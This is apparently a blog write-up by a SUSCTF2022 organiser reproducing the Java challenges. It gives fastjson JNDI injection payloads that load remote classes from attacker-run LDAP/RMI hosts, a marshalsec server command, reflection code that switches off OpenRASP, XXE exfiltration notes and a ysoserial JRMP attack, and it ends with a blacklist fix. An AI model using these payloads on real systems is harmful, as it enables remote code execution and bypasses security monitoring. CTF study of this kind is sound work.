SUSCTF2022 java复现
为什么我是SUSCTF的出题人加运维还要复现自己的比赛的java呢?
因为我是垃圾,不会java,现在开始学(其实是某天晚上想去打D3然后发现已经开赛一小时不能注册然后没事做了)
但是出题人说并不想公布环境,所以。我也就不好分享环境了
从运维的角度讲一下这次比赛这两个题反复revenge的情况和出题人的预期解吧
baby gadget1 & revenge
jdk使用的版本是8u181(上帝视角。感觉做题的时候会有点猜,这个事情赛后也被师傅们吐槽了。。。。),这个版本是LDAP Reference修复的前一个版本,也就意味着JNDI注入即可rce。但是这个题配了openrasp,执行命令会被拦截(然后我再学一下openrasp的配置)
简单的非预期
这个题在部署环境的时候把fastjson的版本搞成了1.2.46。。。但实际上给的用来提示的lib.zip里却是48。。。但是实际上的依赖确是46,导致直接用48前的通杀payload,绕过openrasp即可。
但是垃圾的我在复现的时候想先换回46,然后测一下非预期,把lib.zip里的fastjson替换之后发现通杀payload打不动。。。然后才发现依赖不是在这里面的,这个完全就是个提示(我那个时候就纳闷怎么还有这种操作就能引入依赖),实际上是在tomcat的webapp的WEB-INF下的lib目录下
但是我菜到连现成的LDAP Ref server都不会用。记一下
用的当然是经典marshalsec-0.0.3-SNAPSHOT-all.jar
先简单的写一个static处的payload类,编译出来,就叫EvilClass.class。放到http服务下,以如下命令启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps/#EvilClass port
然后LDAP连接填这个
ldap://vps:port/dsadads
后面那个路径填啥都无所谓,反正这个server会给你重定向到对应的类上去,就能打通了
实际上就是先访问LDAP服务然后LDAP服务返回了个Reference类告诉你这个类文件在哪然后远程加载,这个过程用的应该是URLClassloader
说起来上述原理我应该以前就懂的….
这里用BCEL Classloader也行,因为这里的tomcat版本是8.5,jdk版本也比较老,符合BCEL存在的环境(当然仍然是上帝视角)
无论用啥打法,反正发现JNDI注入能用之后其实基本上随便打了
当然也一发打过去给rasp拦了
revenge的非预期
题目是只给了挖链子所需的依赖的,但实际上还有一些其他的依赖没有给出,为了实现挖出来的新链子能正常反序列化就开了autotype。然后被师傅们搜索过去的历史漏洞给硬生生fuzz出了一个没给出的可以打的依赖,又是一波JNDI注入打通
当然,正常打还是会被rasp拦,和AAA的师傅聊的时候他们说他们打的时候用的python还没输出回显,根本不知道有rasp的存在,所以打半天不知道为什么打不通。。。
这个就是那个没有给出但时间能打的依赖
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://ip:port/aaa"}
这里也可以用ldap(理论上来说8u181已经修了rmi来着)
雨了个雨师傅写的fastjson版本探测和出网探测操作
那些年一起打过的CTF-Laravel-任意用户登陆Tricks分析
这个是一个收集的比较多的fastjson payload
safe6Sec/Fastjson
openrasp绕过
完全不会这个东西,简单搜索教程之后感觉应该是official.js是主要规则配置文件?然后点开一看怎么全是正则。。。不应该是究极函数hook之类的操作吗。好吧,应该究极hook的时候也是用正则去判断的,好感度降低
网上随便找了个文章的绕过方法
多种姿势openrasp命令执行绕过
说实话,这个反射直接把他关了可还行。。。要我说得注意一下别人打到rce之后不能随便关啊,比如至尊SELinux之类的
Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));
19年的文章了现在还能用。。。并且这个关直接全局关了,用完了记得开回去,改回true就行
出题人的预期绕过是用ForkAndExec,似乎是个Unix下的native方法,感觉只能反射调用,参数类型还麻烦的一比。网上复制粘贴的打过去被openrasp拦了。。。。
没要到出题人的exp。。。看到有的师傅说允许发URL请求和读文件,就直接外带flag了,然后我试了一下读文件也没成功。。。是我的问题吗
预期解
预期就是从给的依赖里面摸出来一个新的JNDI注入,为此题目是开了Autotype支持的。然后还上了简单的waf。我觉得能找到链子了这个waf就无所谓了其实,过滤了JTANonClusteredSemaphore
这个类名和\\x
,JSON还支持\uxxx这种形式,直接绕过即可
预期解
[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","transactionManagerJNDIName": "rmi://192.168.0.105:1090/ldtnpi" },{"$ref":"$[0].transaction"}]
然后在已知了预期解的情况下再反过来看看这个链子吧
AAA的师傅用了很骚的一招,直接把题目附件里的jar包和原版比对,得到了getTransaction()
这个方法被修改过,从原来的protected变成了public,符合了fastjson的利用条件。就直接找到链了
org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore
看一下这个函数的代码,直接lookup了。这里的this.transactionManagerJNDIName虽然是private的,但是有对应的setter,也没有问题。但是想从这个茫茫类海里面找到这个玩意又谈何容易呢。想必是有自动化工具之类的东西吧
public Transaction getTransaction() throws LockException {
InitialContext ic = null;
Transaction var3;
try {
ic = new InitialContext();
TransactionManager tm = (TransactionManager)ic.lookup(this.transactionManagerJNDIName);
var3 = tm.getTransaction();
} catch (SystemException var12) {
throw new LockException("Failed to get Transaction from TransactionManager", var12);
} catch (NamingException var13) {
throw new LockException("Failed to find TransactionManager in JNDI under name: " + this.transactionManagerJNDIName, var13);
} finally {
if (ic != null) {
try {
ic.close();
} catch (NamingException var11) {
}
}
}
return var3;
}
打一下tomcat EL
当然还有的师傅把这个环境认为是比较高的jdk,所以用的tomcat EL执行命令,本地复现了半天没打上去。。。。
tomcat EL对tomcat的版本有一定的需求,但是tomcat8理论上来说好像没有问题。
这个的打法我从印象里应该是用rmi然后用本地factory的打法,如这篇文章所示(以前就看过的)
Exploitng JNDI Injection In Java
但这个玩意本地打的通远程打不通。。。然后问了下做出来的师傅,说是用的javaSerializedData这个字段打本地链打通的。但是用的链还是tomcat EL。我直接疑惑,这个的触发点应该不是readObject吧,之前看的分析文章都是getObjectInstance
,怎么也能塞serializedData用反序列化本地链这种打法的。。。
翻出来了rouge-jndi试一下。那个师傅用的是这个项目,在rouge-jndi的基础上加了些payload
JNDIExploit
rouge-jndi本地没打通,远程倒是打通了。。。然后也被rasp拦了,那个师傅用的是加强版的内存马,没给rasp拦住
暂时没能理解为什么反序列化的地方这个玩意也能打通。。。
rouge-jndi的作者给出的解释是leads to RCE via unsafe reflection in org.apache.naming.factory.BeanFactory
暂时学习一下吧就。。。
然后还有一个奇怪的点,就是这里用的那个eval的语法,写着引擎是js,但是用的都是java代码,但又有些地方是js语法。。。比如变量是没有类型的,统一是var。。。不知道这个的时候我一开始卡了半天
JNDIExploit的作者在代码注释中提到了这一点
在对代码进行改写时需要注意:
① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes )
② 必须使用全类名
③ System.out.println() 需要修改为 print()
④ try{…}catch(Exception e){…} 需要修改为 try{…}catch(err){…}
⑤ 双引号改为单引号
⑥ Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等
⑦ 去除类型强转
⑧ 不能用 sun.misc.Base64Encoder,会抛异常 javax.script.ScriptException: ReferenceError: “sun” is not defined in <eval> at line number 1
⑨ 不能使用 for(Object obj : objects) 循环
简单的看了一下调用栈。比较怪的是rmi本地通远程不通,ldap远程通本地不通。
这是rmi的调用栈
org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:216)
javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:332)
com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
javax.naming.InitialContext.lookup(InitialContext.java:417)
这个是ldap使用serializedData打ELProcessor的调用栈
org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:216)
javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:194)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1113)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:417)
这个是ldap使用打CC链的调用栈
com.sun.jndi.ldap.Obj.deserializeObject(Obj.java:536)
at com.sun.jndi.ldap.Obj.decodeObject(Obj.java:242)
com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1079)
com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
javax.naming.InitialContext.lookup(InitialContext.java:417)
可以看到打ELProcessor的时候触发的还是getObjectInstance
(但为什么结果不同暂且未知),而ELProcessor和CC等反序列化链的区别出现在com.sun.jndi.ldap.LdapCtx
中的c_lookup
函数中,简单的看了一下就是会先反序列化javaSerializedData
,里面塞的是反序列化链的时候直接在decodeObject
处反序列化,而ResourceRef包装一下ELProcessor会被正常反序列化出来,之后会走到后面的getObjectInstance再触发。所以即使把ELProcessor塞到serializedData里也能成功利用
(其实就是这里和rmi类似也有这么一步getObjectInstance,怎么都没看见有文章说的。。)
baby gadget2 & revenge
赛时后面太累了就没管这个题了,我还以为revenge修好了来着,怎么看大伙wp还是非预期。。。
XXE文件读取
开局登录框抓包发现是xml,打一个xxe。有简单过滤,然后用先知的那篇经典文章的payload打通,给了提示读hint.txt(当然我复现的时候直接对着源码来的,走个流程)
究极xxe汇总
这里做的是简单的字符串匹配,所以还可以用之前学过的UTF16编码或者实体编码绕过
虽然我看着源码知道flag的名字,但是外带的时候却外带不出来,明明hint.txt随便读,为什么flag就不行呢
问了下甫舟,说是java高版本之后只能读取单行的文件,读多行文件直接报错,所以读不出来
直接搜资料,调试不动了
9102年Java里的XXE
这个师傅id有点眼熟,然后看着他的其他乱七八糟的闲聊看了一个小时。。。。
然后是访问一个zip,zip里面是究极ASM代码。。。就看字符串大概能看出来有一个路由bf2dcf6664b16e0efe471b2eac2b54b2
会把输入base64decode一下然后放进SafeInputStream
,继承了ObjectInputStream,然后还有在resolveClass里面塞了一些黑名单
public class SafeInputStream extends ObjectInputStream {
public boolean entry = true;
private static final String[] blacklist = new String[]{"java.util.Hashtable", "java.util.HashSet", "java.util.HashMap", "javax.management.BadAttributeValueExpException", "java.util.PriorityQueue"};
public SafeInputStream(InputStream is) throws IOException {
super(is);
}
public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException {
if (this.entry) {
this.entry = false;
if (!Arrays.asList(blacklist).contains(des.getName()) && !des.getName().contains("Set") && !des.getName().contains("List") && !des.getName().contains("Map")) {
return super.resolveClass(des);
} else {
throw new ClassNotFoundException("Cannot deserialize " + des.getName());
}
} else {
return super.resolveClass(des);
}
}
}
然后说了jdk版本8u191,依赖给了CC 3.1
就等于是要找一个新的CC触发点
快进到看flag。flag的意思是找一个jdk的新触发点。显然不会,再来看看当初这个题是怎么被各队非预期的
简单非预期
绝大多数队都是说用jrmp直接打通的。。。确实黑名单里面没有包含这个来着
回忆一下jrmp是怎么打的来着
就是打的RMI,分Client和Listener两种,Client是攻击者起一个服务让受害者连,Listener是受害者起一个服务攻击者打。这里显然得用Client反连。这个攻击的意义和直接反序列化的差距应该就在于多套了一层,这样子就能过一些过滤。比如这里的这堆waf
当然,实际的的绕过意义应该是绕过8u121之后加的JEP290(对RMI中registry在bind的时候被bind恶意对象反序列化的限制,把允许反序列化的类加了白名单,但是实际上对client和server无效,谁知道server和client通信要用什么类,这整个白名单就没法用了),但是我印象里好像再高一点的版本默认不允许localhost以外的机器bind了?(好像是8u141)努力回忆学过的知识ing。。。。
直接yso启动就行。。。但是我好像不是很会yso的exploit模块用法。。。。以前都是java -jar
直接输出payload的
exploit模块里面的功能要用java -cp
直接指定完全类名,这里是java -cp ysoserial.exploit.JRMPListener
然后随便挑个CC7打过去就行了,懒得魔改yso,直接用那个bash -c究极base64打法打的
revenge再次被非预期
revenge之后对类名进行了限定,在resolveClass中添加了需要类名包含javax的限制。
我一开始还以为这样子就能拦住jrmp了,结果告诉我jrmp发过来的是代理类对象,走的不是resolveClass,而是resolveProxyClass。。。真是闻所未闻,是我浅薄了。找到了一个分析文章(每次都是找文章而不是自己动手。。可能学习效果并不是很好)
Java反序列化过程深究
readObject大概是这么个调用栈
readObject()
readObject0()
readOrdinaryObject()
readClassDesc()
switch(tc)
readNoneProxyDesc()
resolveClass()
Class.forName()
readProxyDesc()
resolveProxyClass()
Proxy.getProxyClass()
这里会根据反序列化的class的类型在switch处决定进哪个函数,代理类并不会被resolveClass处理,而是有一个单独的resolveProxyClass,导致jrmp并不受新加限制的影响,再次绕过。。。
说起来可能出题人当时也没意识到应该是用resolveProxyClass来防所以又被非预期了。。。
三叶草的非预期
看了很多wp,但是大伙好像都不是什么预期解。。。三叶草的师傅虽然不是jrmp的非预期,但整体上也不算是预期。。。但又有那么一点预期的感觉。总之就是tql
主要是原因可能是因为他们完全的还原了ASM代码,像我这种大概看懂了在干什么的可能就不会继续看了。。。(因为也不怎么看得懂)
因为只有在entry处会进行一次类的检验,因此只需要随便整个什么可以反序列化且有一个成员变量能接受反序列化payload就行(比如类型直接是Object)
反正会递归的readObject,开头过了后面就是裸的反序列化
普通版他们直接整了个ConstantTransformer,直接接受Object类对象。
然后revenge加了个javax的限制之后就从javax里面找了个Attribute类,也有一个成员变量的类型是Object
预期
从flag内容上能看出来,就是希望能找到一个全新的反序列化入口。这需要对CC链有一定的熟练度。。。。我不太会呜呜,并且怎么找呢
躺会,我是垃圾哈哈哈
一万年后的update
今天不知道为什么突然想起来这个事情,越想越不对,因为就算jrmp的入口是resolveProxyClass,后续需要被反序列化的类总得走resolveClass,而实际上代理类的handle解析完了之后,resolveClass的第一个类是java.lang.reflect.Proxy
,肯定不符合javax的要求,那这里是为什么能通过呢?
进行了简单的调试,发现原来是甫舟resolveClass抛出的错误类型也写歪了,对于一个不应该反序列化的类,他抛出的错误是ClassNotFoundException
,而在readNonProxyDesc
中刚好catch住了这个exception。。。
try {
if ((cl = resolveClass(readDesc)) == null) {
resolveEx = new ClassNotFoundException("null class");
} else if (checksRequired) {
ReflectUtil.checkPackageAccess(cl);
}
} catch (ClassNotFoundException ex) {
resolveEx = ex;
}
尽管如此,对于正常的反序列化来说ClassNotFoundException
也会导致错误,但是反序列化proxy类型的时候,调用栈是
readOrdinaryObject
readClassDesc
readProxyDesc
readClassDesc
readNonProxyDesc
resolveClass
这个错误在resolveClass
处抛出,在readNonProxyDesc
中赋值到了当前desc的resolveException
字段,但是经过一通操作后,在readProxyDesc
中将readNonProxyDesc
的desc赋值给当前desc的superDesc字段,最后回到readOrdinaryObject
时对当前desc的ResolveException
进行检查,但那个not found被放在当前desc的superDesc的resolveException
字段,然后就这么通过了完成了反序列化。。。
如果把抛出的错误换成任意一个其他类型的错误,这里就不会被绕过了。。。只能说也有一定的运气成分在里面吧
但是,这个防御对非proxy类的反序列化仍然是可以拦截的,普通类的调用栈为
readOrdinaryObject
readClassDesc
readNonProxyDesc
resolveClass
这时resolveClass抛出的notfound exception会直接复制到当前desc的resolveException上,然后在readOrdinaryObject时check出问题报错返回
修复方案:将抛出的ClassNotFoundException
改为InvalidObjectException